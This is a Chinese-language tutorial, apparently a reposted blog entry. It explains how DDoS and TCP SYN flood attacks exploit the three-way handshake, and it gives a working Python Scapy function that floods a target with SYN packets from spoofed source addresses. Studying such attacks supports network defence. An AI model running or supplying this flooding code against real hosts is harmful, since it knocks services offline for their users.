Python-scapy实现SYNDdos攻击


分布式拒绝服务攻击

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行.

SYN
同步序列编号( Synchronize Sequence Numbers)。是TCP/IP建立连接时使用的握手信号。在客户机和 服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户机再以 ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和 服务器之间传递。
TCP连接的第一个包,非常小的一种 数据包。SYN 攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。每个机器的欺骗包都要花几秒钟进行尝试方可放弃提供正常响应。
SYN 泛洪攻击
SYN攻击利用的是 TCP三次握手机制,攻击端利用伪造的 IP地址向被攻击端发出请求,而被攻击端发出的响应 报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接, 主机资源将被耗尽,从而达到攻击的目的。

攻击性质

在黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。
SYN攻击属于DDoS攻击的一种,它利用 TCP协议缺陷,通过发送大量的半连接请求,耗费 CPU和内存资源。SYN攻击除了能影响 主机外,还可以危害 路由器防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。 服务器接收到连接请求(syn= j),将此信息加入未连接队列,并发送请求包给客户(syn=k, ack=j+1),此时进入 SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

什么是SYN泛洪攻击

TCP SYN 泛洪发生在OSI第四层,这种方式利用TCP协议的特性,就是 三次握手。攻击者发送TCP SYN,SYN是TCP 三次握手中的第一个数据包,而当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于 挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。这样更加会浪费服务器的 资源。攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成 三次握手,所以在服务器上,这些TCP连接会因为 挂起状态而消耗CPU和内存,最后服务器可能 死机,就无法为正常用户提供服务了。
 
python3版本的Scapy--Scapy3k来实现一个简单的DDos。

  首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

  Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:
sudo pip3 install scapy-python3==0.18

构造一个简单的数据包

pkt = IP(dst="192.168.0.100")

构建数据包并发送

代码实现

现在我们要用Python以第三方库的形式使用Scapy,使用方法和用交互式Shell的方式一样,注意:使用前要先导Scapy的包:

from scapy.all import

之前我们已经构造过了SYN数据包,现在我们需要实现随机伪造源IP地址、以及以不同的源端口向目标主机发送SYN数据包:

import random
from scapy.all import *

def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer 
        send(packet)

在代码中我定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。

至此我们本次实验就完成了,虽然代码非常少不过功能我们却实现的比较理想,这主要是因为Python的语法本身非常简洁,再加上Scapy封装的也非常好,才会让我们写出即简洁功能又强大的代码。

DDoS攻击

类似上面这个syn洪流,只是DDoS采用的是多个客户端在服务器的命令下,一起像一个网站攻击.

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM